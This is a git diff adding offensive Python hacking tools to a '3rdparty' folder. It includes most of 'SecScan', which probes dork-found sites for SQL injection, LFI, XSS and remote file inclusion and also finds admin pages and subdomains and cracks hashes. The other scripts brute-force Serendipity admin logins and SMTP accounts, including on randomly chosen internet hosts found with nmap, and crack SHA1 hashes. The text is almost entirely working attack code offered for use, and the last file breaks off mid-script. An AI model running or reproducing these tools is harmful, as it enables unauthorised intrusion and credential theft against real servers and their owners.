+        """Proccesses vuln sites into text file and outputs to screen"""
+        read = open(self.file, "a+").read()
+        if url in read:
+            print G+'Dupe: ' + W+url
+        else:
+            print O+"MySql: " + url + W
+            write = open(self.file, "a+")
+            write.write('[SQLI]: ' + url + "\n")
+            write.close()
+
+    def mssql(self, url):
+        """Proccesses vuln sites into text file and outputs to screen"""
+        read = open(self.file).read()
+        if url in read:
+            print G+'Dupe: ' + url + W
+        else:
+            print O+"MsSql: " + url + W
+	    write = open (self.file, "a+")
+            write.write('[SQLI]: ' + url + "\n")
+            write.close()   
+
+
+class LScanClass(threading.Thread):
+    """Scans for Lfi errors and outputs to file"""
+    def __init__(self, queue):
+        threading.Thread.__init__(self)
+        self.file = 'lfi.txt'
+        self.queue = queue
+        self.lchar = '../' 
+       
+    def run(self):
+        """Checks Url for File Inclusion errors"""
+        while True:
+            try:
+                site = self.queue.get(False)
+            except Queue.Empty:
+                break
+            if '=' in site:
+                lsite = site.rsplit('=', 1)[0]
+                if lsite[-1] != "=":
+                    lsite = lsite + "="
+                test = lsite + self.lchar
+                global vuln
+                global invuln
+                global np
+
+                try:
+                    conn = urllib2.Request(test)
+                    conn.add_header('User-Agent', choice(USER_AGENT))
+                    opener = urllib2.build_opener()
+                    data = opener.open(conn).read()
+
+                except:
+                    self.queue.task_done()
+
+                else:
+                    if (re.findall("failed to open stream: No such file or directory", data, re.I)):
+                        self.lfi(test)
+                        vuln += 1
+                    else:
+                        print B+test + W+' <-- Not Vuln'
+                        invuln += 1
+            else:
+                print R+site + W+' <-- No Parameters' 
+                np += 1  
+            self.queue.task_done()
+
+
+    def lfi(self, url):
+        """Proccesses vuln sites into text file and outputs to screen"""
+        read = open(self.file, "a+").read()
+        if url in read:
+            print G+'Dupe: ' + url + W
+        else:
+            print O+"Lfi: " + url + W
+            write = open(self.file, "a+")
+            write.write('[LFI]: ' + url + "\n")
+            write.close()      
+
+
+class XScanClass(threading.Thread):
+    """Scan for Xss errors and outputs to file"""
+    def __init__(self, queue):
+        threading.Thread.__init__(self)
+        self.queue = queue
+        self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>"""
+        self.file = 'xss.txt'
+ 
+    def run(self):
+        """Checks Url for possible Xss"""
+        while True:
+            try:
+                site = self.queue.get(False)
+            except Queue.Empty:
+                break
+            if '=' in site:
+                global vuln
+                global invuln
+                global np
+                xsite = site.rsplit('=', 1)[0]
+                if xsite[-1] != "=":
+                    xsite = xsite + "="
+                test = xsite + self.xchar
+                try:
+                    conn = urllib2.Request(test)
+                    conn.add_header('User-Agent', choice(USER_AGENT))
+                    opener = urllib2.build_opener()
+                    data = opener.open(conn).read()
+                except:
+                    self.queue.task_done()
+                else:
+                    if (re.findall("xssBYm0le", data, re.I)):
+                        self.xss(test)
+                        vuln += 1
+                    else:
+                        print B+test + W+' <-- Not Vuln'
+                        invuln += 1
+            else:
+                print R+site + W+' <-- No Parameters'
+                np += 1
+            self.queue.task_done()
+ 
+    def xss(self, url):
+        """Proccesses vuln sites into text file and outputs to screen"""
+        read = open(self.file, "a+").read()
+        if url in read:
+            print G+'Dupe: ' + url + W
+        else:
+            print O+"Xss: " + url + W
+            write = open(self.file, "a+")
+            write.write('[XSS]: ' + url + "\n")
+            write.close()   
+
+
+class RScanClass(threading.Thread):
+    """Scans for Rfi errors and outputs to file"""
+    def __init__(self, queue, shell):
+        threading.Thread.__init__(self)
+        self.queue = queue
+        self.file = 'rfi.txt'
+        self.shell = shell
+ 
+    def run(self):
+        """Checks Url for Remote File Inclusion vulnerability"""
+        while True:
+            try:
+                site = self.queue.get(False)
+            except Queue.Empty:
+                break
+            if '=' in site:
+                global vuln
+                global invuln
+                global np
+                rsite = site.rsplit('=', 1)[0]
+                if rsite[-1] != "=":
+                    rsite = rsite + "="
+                link = rsite + self.shell + '?'
+                try:
+                    conn = urllib2.Request(link)
+                    conn.add_header('User-Agent', choice(USER_AGENT))
+                    opener = urllib2.build_opener()
+                    data = opener.open(conn).read()
+                except:
+                    self.queue.task_done()
+                else:
+                    if (re.findall('uname -a', data, re.I)):
+                        self.rfi(link)
+                        vuln += 1
+                    else:
+                        print B+link + W+' <-- Not Vuln'
+                        invuln += 1
+            else:
+                print R+site + W+' <-- No Parameters'
+                np += 1        
+            self.queue.task_done()
+   
+    def rfi(self, url):
+        """Proccesses vuln sites into text file and outputs to screen"""
+        read = open(self.file, "a+").read()
+        if url in read:
+            print G+'Dupe: ' + url + W
+        else:
+            print O+"Rfi: " + url + W
+            write = open(self.file, "a+")
+            write.write('[Rfi]: ' + url + "\n")
+            write.close()       
+
+ 
+class Atest(threading.Thread):
+    """Checks given site for Admin Pages/Dirs"""
+    def __init__(self, queue):
+        threading.Thread.__init__(self)
+        self.queue = queue
+ 
+    def run(self):
+        """Checks if Admin Page/Dir exists"""
+        while True:
+            try:
+                site = self.queue.get(False)
+
+            except Queue.Empty:
+                break
+            try:
+                conn = urllib2.Request(site)
+                conn.add_header('User-Agent', choice(USER_AGENT))
+                opener = urllib2.build_opener()
+                opener.open(conn)
+                print site
+                found.append(site)
+                self.queue.task_done()
+   
+            except urllib2.URLError:
+                self.queue.task_done()
+
+
+def admin():
+    """Create queue and threads for admin page scans"""
+    print 'Need to include http:// and ending /\n'
+    site = raw_input('Site: ')
+    queue  = Queue.Queue()
+    dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 
+            'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 
+            'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html', 
+            'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 
+            'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp', 
+            'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 
+            'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php',
+            'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html',
+            'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html',
+            'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html',
+            'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html',
+            'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html',
+            'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html',
+            'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html',
+            'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html',
+            'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php',
+            'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php',
+            'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php',
+            'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
+    
+    for add in dirs:
+        test = site + add
+        queue.put(test)
+        
+    for i in range(20):
+        thread = Atest(queue)
+        thread.setDaemon(True)
+        thread.start() 
+    queue.join()
+
+def aprint():
+    """Print results of admin page scans"""
+    print 'Search Finished\n'
+    if len(found) == 0:
+        print 'No pages found'
+    else:
+        for site in found:
+            print O+'Found: ' + G+site + W
+
+       
+class SDtest(threading.Thread):
+    """Checks given Domain for Sub Domains"""
+    def __init__(self, queue):
+        threading.Thread.__init__(self)
+        self.queue = queue
+ 
+    def run(self):
+        """Checks if Sub Domain responds"""
+        while True:
+            try:
+                domain = self.queue.get(False)
+            except Queue.Empty:
+                break
+            try:
+                site = 'http://' + domain
+                conn = urllib2.Request(site)
+                conn.add_header('User-Agent', choice(USER_AGENT))
+                opener = urllib2.build_opener()
+                opener.open(conn)
+            except urllib2.URLError:
+                self.queue.task_done()
+            else:
+                target = socket.gethostbyname(domain)  
+                print 'Found: ' + site + ' - ' + target
+                self.queue.task_done()        
+ 
+
+def subd():
+    """Create queue and threads for sub domain scans"""
+    queue = Queue.Queue()
+    site = raw_input('Domain: ')
+    sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca",
+            "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro",
+            "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana",
+            "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange",
+            "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford",
+            "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d",
+            "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa",  "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil",
+            "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere",
+            "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research",
+            "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping",
+            "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads",
+            "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1",
+            "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"]
+
+    for check in sub:
+        test = check + '.' + site
+        queue.put(test)
+        
+    for i in range(20):
+        thread = SDtest(queue)
+        thread.setDaemon(True)
+        thread.start() 
+    queue.join()
+
+
+class Cracker(threading.Thread):
+    """Use a wordlist to try and brute the hash"""
+    def __init__(self, queue, hashm):
+        threading.Thread.__init__(self)
+        self.queue = queue
+        self.hashm = hashm
+
+    def run(self): 
+        """Hash word and check against hash"""
+        while True:
+            try:
+                word = self.queue.get(False)
+            except Queue.Empty:
+                break
+            tmp = hashlib.md5(word).hexdigest()
+            if tmp == self.hashm:
+                self.result(word)   
+            self.queue.task_done() 
+
+    def result(self, words):
+        """Print result if found"""
+        print self.hashm + ' = ' + words
+
+def word():
+    """Create queue and threads for hash crack"""
+    queue = Queue.Queue()
+    wordlist = raw_input('Wordlist: ')
+    hashm = raw_input('Enter Md5 hash: ')
+    read = open(wordlist)
+    for words in read:
+        words = words.replace("\n","")
+        queue.put(words)       
+    read.close()
+    for i in range(5):
+        thread = Cracker(queue, hashm)
+        thread.setDaemon(True)
+        thread.start()
+    queue.join()
+
+
+class OnlineCrack:
+    """Use online service to check for hash"""
+
+    def crack(self):
+        """Connect and check hash"""
+        hashm = raw_input('Enter MD5 Hash: ')
+        conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm))
+        conn.add_header('User-Agent', choice(USER_AGENT))
+        opener = urllib2.build_opener()
+        opener.open(conn)
+        data = opener.open(conn).read()
+        if data == 'No results returned.':
+            print '\n- Not found or not valid -'
+        else:
+            print '\n- %s -' % (data)
+
+
+class Check:
+    """Check your current IP address"""
+
+    def grab(self):
+        """Connect to site and grab IP"""
+        site = 'http://www.tracemyip.org/'
+        try:
+            conn = urllib2.Request(site)
+            conn.add_header('User-Agent', choice(USER_AGENT))
+            opener = urllib2.build_opener()
+            opener.open(conn)
+            data = opener.open(conn).read()  
+            start = 0
+            end = len(data)     
+            start = data.find('onClick="', start, end)
+            end = data.find('size=', start, end)   
+            ip_add = data[start+46:end-2].strip()
+            print '\nYour current Ip address is %s' % (ip_add)
+        
+        except urllib2.HTTPError:
+            print 'Error connecting'
+    
+
+def output():
+    """Outputs dork scan results to screen"""
+    print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W
+    print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W
+    print '>> ' + str(np) + R+' Sites Without Parameters' + W
+    if option == '1':
+        print '>> Output Saved To sqli.txt\n'
+    elif option == '2':
+        print '>> Output Saved To lfi.txt'
+    elif option == '3':
+        print '>> Output Saved To xss.txt'
+    elif option == '4':
+        print '>> Output Saved To rfi.txt'  
+
+
+W  = "\033[0m";  
+R  = "\033[31m"; 
+G  = "\033[32m"; 
+O  = "\033[33m"; 
+B  = "\033[34m";
+
+def main():
+    """Outputs Menu and gets input"""
+    quotes = [
+	'\nm0le@tormail.org\n'
+        ]
+    print (O+'''
+-------------
+-- SecScan --
+--- v1.5 ----
+---- by -----
+--- m0le ----
+-------------''')
+    print (G+'''
+-[1]-  SQLi
+-[2]-  LFI
+-[3]-  XSS
+-[4]-  RFI
+-[5]-  Proxy
+-[6]-  Admin Page Finder
+-[7]-  Sub Domain Scan
+-[8]-  Dictionary MD5 cracker
+-[9]-  Online MD5 cracker
+-[10]- Check your IP address''')
+
+    print (B+'''
+-[!]- If freeze while running or want to quit, 
+just Ctrl C, it will automatically terminate the job.
+''')
+    print W
+    global option
+    option = raw_input('Enter Option: ')
+ 
+    if option:
+        if option == '1':
+            Crawl()
+            output()
+            print choice(quotes)
+            
+        elif option == '2':
+            Crawl()
+            output()
+            print choice(quotes)
+ 
+        elif option == '3':
+            Crawl()
+            output()
+            print choice(quotes)
+ 
+        elif option == '4':
+            Crawl()
+            output()
+            print choice(quotes)
+     
+        elif option == '5':
+            Ip()
+            print choice(quotes)
+ 
+        elif option == '6':
+            admin()
+            aprint()
+            print choice(quotes)
+
+        elif option == '7':
+            subd()
+            print choice(quotes)
+
+        elif option == '8':
+            word()
+            print choice(quotes)  
+
+        elif option == '9':
+            OnlineCrack().crack()
+            print choice(quotes) 
+                  
+
+        elif option == '10':
+            Check().grab()  
+            print choice(quotes)       
+
+        else:
+            print R+'\nInvalid Choice\n' + W
+            time.sleep(0.9)
+            main()    
+ 
+    else:
+        print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W
+        time.sleep(0.9)
+        main()
+ 
+ 
+if __name__ == '__main__':
+    main()
diff --git a/3rdparty/serenbf.py b/3rdparty/serenbf.py
new file mode 100644
index 0000000..78d58aa
--- /dev/null
+++ b/3rdparty/serenbf.py
@@ -0,0 +1,56 @@
+#!/usr/bin/python
+#Serendipity Brute Force (serendipity_admin.php) POC
+
+#Dork: "Powered by Serendipity" inurl:serendipity_admin.php
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import urllib2, sys, re, urllib
+
+print "\n   d3hydr8[at]gmail[dot]com SerenBF v1.0"
+print "----------------------------------------------"
+
+if len(sys.argv) != 4:
+	print "Usage: ./serenbf.py <site> <user> <wordlist>\n"
+	sys.exit(1)
+	
+if sys.argv[1][:7] != "http://":
+	host = "http://"+sys.argv[1]
+else:
+	host = sys.argv[1]
+	
+print "[+] BruteForcing:",host
+print "[+] User:",sys.argv[2]
+
+try:
+  	words = open(sys.argv[3], "r").readlines()
+  	print "[+] Words Loaded",len(words),"\n"
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+  
+for word in words:
+	login_form_seq = [
+		('serendipity[action]', 'admin'),
+     	('serendipity[user]', sys.argv[2]),
+     	('serendipity[pass]', word[:-1]),
+     	('serendipity[auto]', 'on'),
+     	('submit', 'Login >')]
+	login_form_data = urllib.urlencode(login_form_seq)
+	
+	try:
+		req = urllib2.Request(url=host, data=login_form_data)
+		site = urllib2.urlopen(req).read()
+	except(urllib2.URLError):
+		site = ""
+		pass
+		
+	#Change this response if different. (language)
+	if re.search("invalid username or password",site):
+		print "[-] Login Failed:",word[:-1]
+	else:
+		print "\n\t[!] Login Successfull:",sys.argv[2],word
+		sys.exit(1)
+print "\n[-] Brute Complete\n"
+	
diff --git a/3rdparty/sha1crack.py b/3rdparty/sha1crack.py
new file mode 100644
index 0000000..bbcf391
--- /dev/null
+++ b/3rdparty/sha1crack.py
@@ -0,0 +1,37 @@
+#!/usr/bin/python
+#Attempts to crack a sha1 encrypted hash against any givin wordlist.
+#http://darkcode.ath.cx/
+#d3hydr8[at]gmail[dot]com 
+
+import sys
+
+try:
+	import hashlib
+except(ImportError):
+	print "\nYou need the hashlib module installed, try upgrading to python 2.5.\n"
+	sys.exit(1)
+
+if len(sys.argv) != 3:
+	print "Usage: ./sha1crack.py <hash> <wordlist>"
+	sys.exit(1)
+	
+pw = sys.argv[1]
+wordlist = sys.argv[2]
+try:
+  words = open(wordlist, "r")
+except(IOError): 
+  print "Error: Check your wordlist path\n"
+  sys.exit(1)
+words = words.readlines()
+print "\n",len(words),"words loaded..."
+for word in words:
+	if pw == hashlib.sha1(word[:-1]).hexdigest(): 
+		print "Password is:",word,"\n"
+
+
+
+	
+	
+
+
+
diff --git a/3rdparty/sha1gen.py b/3rdparty/sha1gen.py
new file mode 100644
index 0000000..c85d262
--- /dev/null
+++ b/3rdparty/sha1gen.py
@@ -0,0 +1,17 @@
+#!/usr/bin/python
+#Generates a sha1 encrypted hash from password.
+import sys
+
+try:
+	import hashlib
+except(ImportError):
+	print "\nYou need the hashlib module installed, try upgrading to python 2.5.\n"
+	sys.exit(1)
+if len(sys.argv) != 2:
+	print "Usage: ./sha1gen.py <password>"
+	sys.exit(1)
+	
+pw = sys.argv[1]
+
+print "\nPassword:"
+print hashlib.sha1(pw).hexdigest()
\ No newline at end of file
diff --git a/3rdparty/smtpbrute.py b/3rdparty/smtpbrute.py
new file mode 100644
index 0000000..231cc3a
--- /dev/null
+++ b/3rdparty/smtpbrute.py
@@ -0,0 +1,81 @@
+#!usr/bin/python
+#Smtp Brute Forcer
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, smtplib, socket
+from smtplib import SMTP
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./smtpbrute.py <server> <userlist> <wordlist>"
+	sys.exit(1)
+try:	
+	helo = smtplib.SMTP(sys.argv[1])
+	name = helo.helo()
+	helo.quit()
+except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
+	name = "Server doesn't support the Helo cmd"
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com smtpBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+print "[+] Helo message:",name,"\n"
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "\nReloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	return value[0][:-1], users[0][:-1]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		value, user = getword()
+		try:
+			print "-"*12
+			print "User:",user,"Password:",value
+			smtp = smtplib.SMTP(sys.argv[1])
+			smtp.login(user, value)
+			print "\t\nLogin successful:",user, value
+			smtp.quit()
+			work.join()
+			sys.exit(2)
+		except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
+			#print "An error occurred:", msg
+			pass
+ 
+for i in range(len(words)*len(users)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
diff --git a/3rdparty/smtpbrute_iprange.py b/3rdparty/smtpbrute_iprange.py
new file mode 100644
index 0000000..d06c2b9
--- /dev/null
+++ b/3rdparty/smtpbrute_iprange.py
@@ -0,0 +1,97 @@
+#!usr/bin/python
+#Smtp Brute Forcer, searches ip_range for hosts using smtp.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, smtplib, re, socket
+from smtplib import SMTP
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./smtpbrute_iprange.py <ip_range> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com smtpBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+
+wordlist = copy(words)
+
+def scan():
+
+	iprange = sys.argv[1]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 25 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	return ip_list
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			smtp = smtplib.SMTP(ip)
+			smtp.login(user[:-1], value)
+			print "\t\nLogin successful:",user, value
+			smtp.quit()
+			work.join()
+			sys.exit(2)
+		except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
+			#print "An error occurred:", msg
+			pass
+ 
+ip_list = scan()
+print "[+] Hosts Loaded:",len(ip_list),"\n"
+for ip in ip_list:
+	print "\n\tAttempting BruteForce:",ip,"\n"
+	try:	
+		helo = smtplib.SMTP(ip)
+		print helo.helo(), "\n"
+		helo.quit()
+	except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
+		print "Server doesn't support the Helo cmd"
+	for user in users:
+		for i in range(len(words)):
+			if i == 0: reloader()
+			work = Workhorse()
+			work.start()
+			time.sleep(2)
diff --git a/3rdparty/smtpbrute_random.py b/3rdparty/smtpbrute_random.py
new file mode 100644
index 0000000..5523827
--- /dev/null
+++ b/3rdparty/smtpbrute_random.py
@@ -0,0 +1,96 @@
+#!usr/bin/python
+#Uses nmap to check if smtp port is open, brute forces if it is.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, smtplib, re, socket
+from smtplib import SMTP
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./smtpbrute_random.py <how many to scan> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com smtpBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1],"hosts"
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def scan():
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 25 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:    		
+			return ipaddr
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "\nReloading Wordlist - Changing User\n"
+		reloader()
